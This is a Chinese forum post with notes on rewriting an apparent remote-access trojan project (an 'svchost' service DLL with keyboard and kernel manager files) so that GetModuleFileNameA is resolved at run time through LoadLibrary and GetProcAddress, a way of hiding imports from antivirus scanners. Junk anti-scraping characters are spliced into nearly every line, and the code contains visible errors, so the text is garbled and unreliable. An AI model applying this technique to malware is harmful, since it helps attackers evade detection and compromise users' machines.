返回列表 发帖

[原创文章] 全局动态调用

全局动态调用笔记# ]0 s! g) d) Q& e' \
svchost files工程->插入->类(Generic Class DTDY)->DTDY.cpp DTDY.h8 l* @  E2 V$ P  b9 r+ ?  @
----------------------------------------, H# @6 y/ \7 |% h
DTDY.h:6 B" D1 ~, I" p; F& @9 P% l
9 y* n- ^( D; A& z( d" ?
#if _MSC_VER>1000
2 q2 d5 O* N6 P! B" O/ }2 B' h1 M& d#pragma once. [6 Z2 f) j! k+ e5 n
#endif //_MSC_VER>1000
/ X% X' p0 X$ B8 d6 I/ Q" U9 Y#include<windows.h>+ Z+ }+ m$ k8 I% F1 U/ |" B

8 X( ?0 {% J' O, j: Ztypedef DWORD (__stdcall *pGetModuleFileNameA)(HMODULE,LPSTR,DWORD);
* j8 W- d- ]$ ~6 Oclass DTDY
* s2 A4 K) T0 }# n. i. z1 ?{0 p1 |; w0 \; R& N. u0 Q
public:* X! R3 k7 z+ B8 }- t
DTDY();0 u& e4 c, Y( }
virtual ~DTDY();* G; S* ]8 e6 {7 @3 [
public:
- U$ j! w/ K1 x; y6 K1 tstatic pGetModuleFileNameA MyGetModuleFileName;
/ t+ d) ]7 o9 p6 @2 j; ?. ^static BOOL FunInitiallization();
; K1 B6 D  |5 `  r! ^$ j4 E};2 Y/ U; G$ w' ?# f3 X3 U! O
#endif( F; J; L# o- P4 r9 v0 A7 t
----------------------------------------
$ V8 U  ?& h% j( c  e: ?
, G. ^' k8 w! f! G/ m$ O/ E3 A8 f# xDTDY.cpp:
' F5 o0 m  N# b% n  d0 X) ?, O- q7 q. y
#include "DTDY.h"
4 S4 S7 @' a) N5 r& I% wpGetModuleFileNameA DTDY::MyGetModuleFileName=NULL;! |" _( S# U  x1 I& T2 H" Z
DTDY:TDY()
. }% B# m8 d8 i  Z% I) ?$ I7 c3 w{  [, l6 `* h) X* i3 b2 x
}
7 ?! y& b. ?' ]) Y8 WDTDY::~DTDY()! ]1 I/ ]" z2 o# v
{
9 M( C$ ~0 p1 e. q4 T) K/ C}; G1 Z3 o0 l5 ]0 G& r
BOOL DTDY::FunInitiallization(). u' ?; Z! [% b  r
{  ^* I! B) ]- \" J6 @2 x
HMODULE hModule=LoadLibrary("kernel32.dll");, E8 a' Y" v9 f" C- V' `
MyGetModuleFileName=(pGetModuleFileNameA)GetProcAddress(hModule,"GetModuleFileNameA");
. \8 @/ J, A: l# Tif(!MyGetModuleFileName=) return FALSE;
+ e) u, g, ?; f+ Y, e
; w% V! G& ?7 x0 R$ ]! {7 W: Vreturn TRUE;9 i( P- |$ h5 E7 }$ B
}
$ b4 S4 l( B  {" T----------------------------------------
" d4 v  Z8 \/ F- L0 m" Ssvchost.cpp:
! ?% E. O  f/ K/ @2 L. [! K4 K; N
6 ~0 F9 h1 R' o! ~/ g( D" B! d/ u#include "DTDY.h"
: L' D: q/ q4 y) w3 A' F! s1 o. M1 s  r6 W# H* b) m) r5 v# c
BOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)2 \" a6 E% ]6 G* Q% I3 I; L
{0 I' X  ]" ~& [# b( ~) u) R
switch(ul_reason_for_call)
$ C  _" j) x5 a2 T) j0 i{) E9 g7 C5 ], c7 n0 z
case DLL_PROCESS_ATTACH:4 l1 T$ M( n- o, L* ^7 C9 T* q) O
if(!DTDY::FunInitiallization()) return FALSE;4 s5 A# o" R. j: S9 F  H
- M7 l# C* t* @2 z
break;1 A+ b& q" {: I
}
  A/ m' S' @+ Z7 b* D/ t}
# P. [  T! H. e$ q8 p. U% a- A7 j, x; l
8 b0 `$ I* A6 q% b
GetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));->goto def
, m4 D9 W. J: w6 `2 t改写为
/ O9 S7 S" H# G1 I3 g1 SDTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));
* x3 i# [! S4 H% \7 h/ ^5 y----------------------------------------" I7 L4 X6 M; d0 J
KernelManager.cpp:1 Z  n7 H, P4 y

) l' H$ `7 a! c( f# V#include "../DTDY.h"
8 q/ P4 r% X- N4 C5 JGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));- e. d& g: a& i1 L
改写为+ I' U2 ?) i# U7 U/ K/ R8 x7 `
DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));
7 R$ k/ Y+ ]8 }- R& e) l----------------------------------------

返回列表